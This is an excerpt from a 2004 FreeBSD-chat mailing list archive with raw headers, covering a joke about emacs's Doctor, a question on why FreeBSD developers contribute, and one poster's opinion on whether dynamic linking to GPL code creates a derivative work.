you need help in configuring message rules for your particular > MUA, there are lots of _nice_ folks on the lists who will be happy to > give assistance... Why not this way: I'm neither a qualified psychiatrist nor an AI engineer, and This is not a letter promoting the abuse of emacs, but If you need help with a procmail script that passes certain letters to the Doctor... :) Like, > The question is, have YOU used anything else? Or are you like the old > woman who still washes her clothes in the river because "those darned > mechanical things aren't worth it"? Is it because those darned mechanical things are not worth it that you came to me? --=20 DoubleF Ask not for whom the telephone bell tolls ... if thou art in the bathtub, it tolls for thee. --tThc/1wpZn/ma/RB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (FreeBSD) iD8DBQFBg0dxwo7hT/9lVdwRAh7jAJ9gzeaf15shF3xlPs6d03kACUANVwCfSwbS f1oDr8OvLwuAdpxzmE+QnAo= =Qsqr -----END PGP SIGNATURE----- --tThc/1wpZn/ma/RB-- From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 12:28:35 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E306D16A4CE for ; Sat, 30 Oct 2004 12:28:35 +0000 (GMT) Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id BE55543D3F for ; Sat, 30 Oct 2004 12:28:35 +0000 (GMT) (envelope-from rootman22@comcast.net) Received: from c-24-10-192-50.client.comcast.net ([24.10.192.50]) by comcast.net (rwcrmhc12) with ESMTP id <2004103012283501400s81d3e>; Sat, 30 Oct 2004 12:28:35 +0000 From: Joe Warner To: freebsd-chat@freebsd.org Date: Sat, 30 Oct 2004 06:30:14 -0600 User-Agent: KMail/1.6.2 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200410300630.14877.rootman22@comcast.net> Subject: Why do you do it? X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 12:28:36 -0000 Hi, I apologize if I'm not posting to the right list but this is for the FreeBSD developers. Poul-Henning Kamp recently authored this months edition of the Daemon's Advocate on the Daemon News Ezine [1] titled "Why bother?" This generated some interesting discussion among some members of our [2] local BUG. I was going to respond with my opinion but I thought it would be better to ask the FreeBSD developers directly: As far as the FreeBSD user community goes it's a no-brainer for me, FreeBSD touts a long list of reasons why someone interested in UNIX, computing, programming and/or networking would want to use it. However, I've always wondered what motivates the FreeBSD Developers. The general explanation I've heard is "Because we get to work on projects we're interested in as opposed to profit-based projects imposed by our employers which we may or may not be interested in." Is it that simple or does it go deeper? Why do you do it? What motivates you? I hope this isn't a "Bikeshed" [3] and if this is the wrong list I'd appreciate being pointed to the right one. Thanks -Joe [1]http://ezine.daemonnews.org/200410/dadvocate.html [2]http://www.gubug.org [3]htttp://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#BIKESHED-PAINTING From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 21:38:27 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D281C16A4CE for ; Sat, 30 Oct 2004 21:38:27 +0000 (GMT) Received: from mail1.webmaster.com (mail1.webmaster.com [216.152.64.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4422343D58 for ; Sat, 30 Oct 2004 21:38:27 +0000 (GMT) (envelope-from davids@webmaster.com) Received: from however by webmaster.com (MDaemon.PRO.v7.1.0.R) with ESMTP id md50000251929.msg for ; Sat, 30 Oct 2004 14:14:21 -0700 From: "David Schwartz" To: , Date: Sat, 30 Oct 2004 14:37:48 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: X-Authenticated-Sender: joelkatz@webmaster.com X-Spam-Processed: mail1.webmaster.com, Sat, 30 Oct 2004 14:14:21 -0700 (not processed: message from trusted or authenticated source) X-MDRemoteIP: 206.171.168.138 X-Return-Path: davids@webmaster.com X-MDaemon-Deliver-To: chat@freebsd.org X-MDAV-Processed: mail1.webmaster.com, Sat, 30 Oct 2004 14:14:22 -0700 cc: TM4525@aol.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: davids@webmaster.com List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 21:38:28 -0000 > That is one of the arguments. But, the GPL is concerned with > distribution. > I think this has been raised before with them. I think that the scenario > was, if I make a program that dynamically links into GPL, then I > distribute > both my program and the GPL code that it links into, do I have to put my > program under GPL? I think their answer was yes - they argued that when > the linking takes place and who links it is immaterial, and that the fact > that your program cannot run without their stuff means that when your code > is running, that your program and their stuff become as a single program. This argument is obviously, IMO, absurd. Suppose I make a product that *can* link to a GPL'd library but could, of course, also link to any other library that provided the same interface. The FSF is arguing that as soon as somebody links it to the GPL'd library, it becomes a derived work even though it wasn't one before. Nothing that you can do with a work after it's produced can turn that work into a derivative work of another work. For copyright purposes, it's only the creative content in the work itself that matters. What you do with that work later could create new works that have a different status, but can't change the status of the work itself. The FSF is, of course, free to take any position they wish, but this one is, at least to me, absurd from a legal standpoint. Even if the program had been designed from the beginning to work with an interface that was currently only implemented in a GPL'd library, I would still find the argument absurd (though slightly less so). The program is a derived work from the interface itself, not from any particular implementation of that interface. (And then you would have the very odd case where whether A is a derivative work of B would depend upon whether B was written before or after C!) I can't imagine that anyone who understood what it is that grants you a copyright and what a 'derivative' work really is would find this argument at all persuasive. DS